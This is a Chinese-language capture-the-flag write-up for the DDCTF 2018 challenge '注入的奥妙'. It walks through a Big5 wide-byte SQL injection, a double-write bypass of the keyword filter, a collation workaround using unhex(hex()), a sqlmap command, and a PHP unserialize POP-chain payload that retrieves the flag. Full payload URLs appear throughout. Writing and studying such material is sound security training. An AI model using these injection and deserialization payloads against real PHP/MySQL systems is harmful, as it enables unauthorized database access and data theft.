DDCTF2018-注入的奥妙

题目链接:http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/well/getmessage/1

Big5编码

查看网页源代码发现如下链接:https://wenku.baidu.com/view/bd29b7b3fd0a79563c1e72f7.html

打开是台湾BIG5编码表,url中加个单引号发现提示,最后拼接的参数是 : 1',猜测是big5宽字节注入,\的ascii码是5c,找到BIG5编码中后两位是5C的字,随便找一个,尝试如下payload,成功返回所有数据

1功'or 1=1 %23

联合查询注入

既然是查询首先尝试联合查询

/1功'order by 3 %23

三个字段

/1功'union%20select%201,2,3%23

返回提示:

最后拼接的参数是 : 1�\\' select 1,2,3#
~~~如果自己拼接的参数显示有问题了,试试浏览器的页面编码设置~~~

貌似是过滤了union,尝试双写

/1功'uniounionn%20select%201,2,3%23

双写绕过

尝试获取数据库名,表名,列名信息,发现过滤了如下字符串,尝试双写绕过即可

  • union
  • database
  • hex
  • unhex
  • updatexml

联合查询不同字符集bypass

当查询其他表的信息时如:

1功'uniounionn%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%20%23

发现如下报错:

HY000 1271 Illegal mix of collations for operation 'UNION'

这是因为两个数据库字符集不同,导致无法联合查询,不过居然找到老外的bypass方法,视频连接:

https://vimeo.com/88672248

原理就是用unhex(hex())把要查询的字段包裹起来,解码的时候会自动符合编码要求,加上双写绕过最终payload如下:

功'%20uniunionon%20select%201,unhunhexex(hehexx(group_concat(schema_name))),3%20from%20information_schema.schemata%20%23

数据库结构


http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/%E4%B9%88'%20uniunionon%20select%201,unhunhexex(hehexx(group_concat(schema_name))),3%20from%20information_schema.schemata%20%23

information_schema,sqli


http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/%E4%B9%88'%20uniunionon%20select%201,2,unhunhexex(hehexx(group_concat(table_name)))%20from%20information_schema.tables%20where%20table_schema=0x73716C69%23


message,route_rules

http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/%E4%B9%88'%20uniunionon%20select%201,2,unhunhexex(hehexx(group_concat(column_name)))%20from%20information_schema.columns%20where%20table_name=0x6D657373616765%23

id,name,contents

http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/%E4%B9%88'%20uniunionon%20select%201,2,unhunhexex(hehexx(group_concat(column_name)))%20from%20information_schema.columns%20where%20table_name=0x726F7574655F72756C6573%23

id,pattern,action,rulepass


http://116.85.48.105:5033/05069d93-1384-4097-a7e7-047658cacbfa/well/getmessage/%E4%B9%88'%20uniunionon%20select%20unhunhexex(hehexx(pattern)),unhunhexex(hehexx(action)),unheunhexx(hhexex(rulepass))%20from%20route_rules%20%23


get*/	u/well/getmessage/	s
get*/	u/justtry/self/	s
post*/	u/justtry/try	JustTry#try
static/bootstrap/css/backup.css	static/bootstrap/css/backup.zip	

其他注入方式

本题也可以采取报错注入或者是盲注来注出数据,利用sqlmap以及windows下的超级注入工具也可以做出来,但是我用sqlmap并没有成功,请教了大佬,大佬说他sqlmap直接可以跑出结果,并不知道为啥。这里给出sqlmap如果是伪静态url可以用*来表示注入点,命令如下:

sqlmap -u "http://116.85.48.105:5033/ab393ca3-0736-4ac3-8fb5-5461d803ea87/well/getmessage/1功'*"

源码审计

通过爆出的路由表,访问如下url获得备份文件:

http://116.85.48.105:5033/static/bootstrap/css/backup.css
➜  注入的奥秒 tree ./
./
├── Controller
│   ├── Base.php
│   ├── Justtry.php
│   ├── Trans.php
│   └── Well.php
├── Database
│   ├── DbConfig.php
│   ├── DbConnect.php
│   └── FLDbConnect.php
├── Helper
│   ├── Flag.php
│   ├── Reflect.php
│   ├── Response.php
│   ├── Router.php
│   ├── SQL.php
│   ├── Security.php
│   ├── Test.php
│   └── UUID.php
└── index.php

还通过路由表可知,应该还可以访问的是JustTry.php的try方法,需要用POST方式访问

post*/	u/justtry/try	JustTry#try

整体分析

  • 整体架构就是类似MVC的程序
  • 入口index.php生成一个router的实例
  • router根据路由表解析访问的url
  • 这道题的路由表是router通过查询数据库得到的
  • 解析完成交给控制器中相应的方法

根据提示查看Justtry.php的源码,定位到关键的try方法:

public function try($serialize)
{
     unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
}

这里发现反序列化函数接收了两个参数,第二个参数是反序列化的过滤器,这是php7的新特性

php7新特性

http://www.runoob.com/w3cnote/php7-new-features.html

<?php

// 转换对象为 __PHP_Incomplete_Class 对象
$data = unserialize($foo, ["allowed_classes" => false]);

// 转换对象为 __PHP_Incomplete_Class 对象,除了 MyClass 和 MyClass2
$data = unserialize($foo, ["allowed_classes" => ["MyClass", "MyClass2"]);

// 默认接受所有类
$data = unserialize($foo, ["allowed_classes" => true]);

php命名空间

http://www.runoob.com/php/php-namespace.html

PHP 命名空间(namespace)是在PHP 5.3中加入的,可以解决以下两类问题:

  • 用户编写的代码与PHP内部的类/函数/常量或第三方类/函数/常量之间的名字冲突。
  • 为很长的标识符名称(通常是为了缓解第一类问题而定义的)创建一个别名(或简短)的名称,提高源代码的可读性。

关于命名空间如何实现自动加载的问题暂时搁置,有空写一篇专题。这里要说明的是,一个命名空间中的类在序列化的时候会带有空间标识,如下:

<?php
namespace Index\Helper;
class Test{
	public $test;
}
$t = new Test;
echo serialize($t);
?>

输出:

O:17:"Index\Helper\Test":1:{s:4:"test";N;}

反序列化

Justtry.php

public function try($serialize)
{
     unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
}

Test.php

<?php
namespace Index\Helper;

use Index\Helper\Flag;
use Index\Helper\UUID;

defined('ACCESS_FILE') or exit('No direct script access allowed');
class Test
{

    public $user_uuid;
    public $fl;

    public function __construct()
    {
        echo 'hhkjjhkhjkhjkhkjhkhkhk';
    }

    public function __destruct()
    {
        $this->getflag('ctfuser', $this->user_uuid);
        // $this->setflag('ctfuser', $this->user_uuid);
    }

    public function getflag($m = 'ctfuser', $u = 'default')
    {
        //TODO: check username
        $user=array(
            'name' => $m,
            'id' => $u
        );
        //懒了直接输出给你们了
        echo 'DDCTF{'.$this->fl->get($user).'}';
    }
}

Flag.php

<?php
namespace Index\Helper;

use PDO;
use Index\Helper\SQL;

defined('ACCESS_FILE') or exit('No direct script access allowed');
class Flag
{
    public $sql;

    public function __construct()
    {
        $this->sql=new SQL();
    }

    public function get($user)
    {

        $tmp=$this->sql->FlagGet($user);
        if ($tmp['status']===1) {
            return $this->sql->FlagGet($user)['flag'];
        }
    }
}

SQL.php

<?php
namespace Index\Helper;

use Index\Database\DbConnect;
use Index\Database\FLDbConnect;
use PDO;

class SQL
{
    public $dbc;
    public $pdo;
    public function __construct()
    {

    }

    public function FlagGet($user)
    {
        $this->dbc = new FLDbConnect();
        $this->pdo =  $this->dbc->getPDO();
        //TODO :CHECK UNIQUE
        $user['name']= $user['name'];
        $user['id']= $user['id'];
        //seriliza str
        // var_dump($user);
        $sth = $this->pdo->prepare('SELECT `username`,`flags`,`uuid` FROM `passflag` WHERE `uuid` = :uuid AND `username` = :name');
        $sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
        $sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
        if ($sth->execute()) {
            $result = $sth->fetch($this->pdo::FETCH_ASSOC);

            return array('status'=>1,'msg'=>'success','flag'=> $result['flags']);
        } else {
            return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
        }
    }

}

思路

  1. 首先在justtry.php处可以反序列化生成Flag,Test,SQL类的实例
  2. Test的对象在销毁时会调用当前对象中的fl成员的get方法
  3. 发现Flag类中有get方法,该方法会调用当前对象中的sql成员的FlagGet方法
  4. 发现SQL类中存在FlagGet方法,既可拿到flag

POP链

POP链和序列化,反序列化操作

  • 构造一个Test类的实例
  • 其中的fl成员为Flag类的实例
  • fl成员中的sql成员是一个SQL类的实例
<?php
namespace Index\Helper;

class SQL
{
    public $dbc;
    public $pdo;
}

class Flag
{
    public $sql;
}

class Test
{
    public $user_uuid;
    public $fl;
}

$a= new Test;
$a->user_uuid="5d71b644-ee63-4b11-9c13-da3c4ac35b8d";
$a->fl=new Flag;
$a->fl->sql=new SQL;

echo serialize($a);

得到payload如下:

O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"5d71b644-ee63-4b11-9c13-da3c4ac35b8d";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":2:{s:3:"dbc";N;s:3:"pdo";N;}}}

POST数据

可见Justtry.php中的try方法传入的参数就是我们要提交的,但是参数是通过什么名字提交给函数的呢?这里我们源码中的Router.php第126行

$params = array();
if (strtoupper($method)=='POST') {
    foreach ($_POST as $key => $val) {
        if ($key!='r') {
            $params[]=urldecode($val);
        }
    }

可见所有参数被存到一个数组里,并且提交的参数名没有存储,所以根据router,POST提交如下数据,即可获得flag

http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/justtry/try/

A=O:17:"Index\Helper\Test":2:{s:9:"user_uuid";s:36:"5d71b644-ee63-4b11-9c13-da3c4ac35b8d";s:2:"fl";O:17:"Index\Helper\Flag":1:{s:3:"sql";O:16:"Index\Helper\SQL":2:{s:3:"dbc";N;s:3:"pdo";N;}}}
DDCTF{5ed110a54246a5cd7d755185b4d89f74fb2530084bf93d8000f2170899d29b22}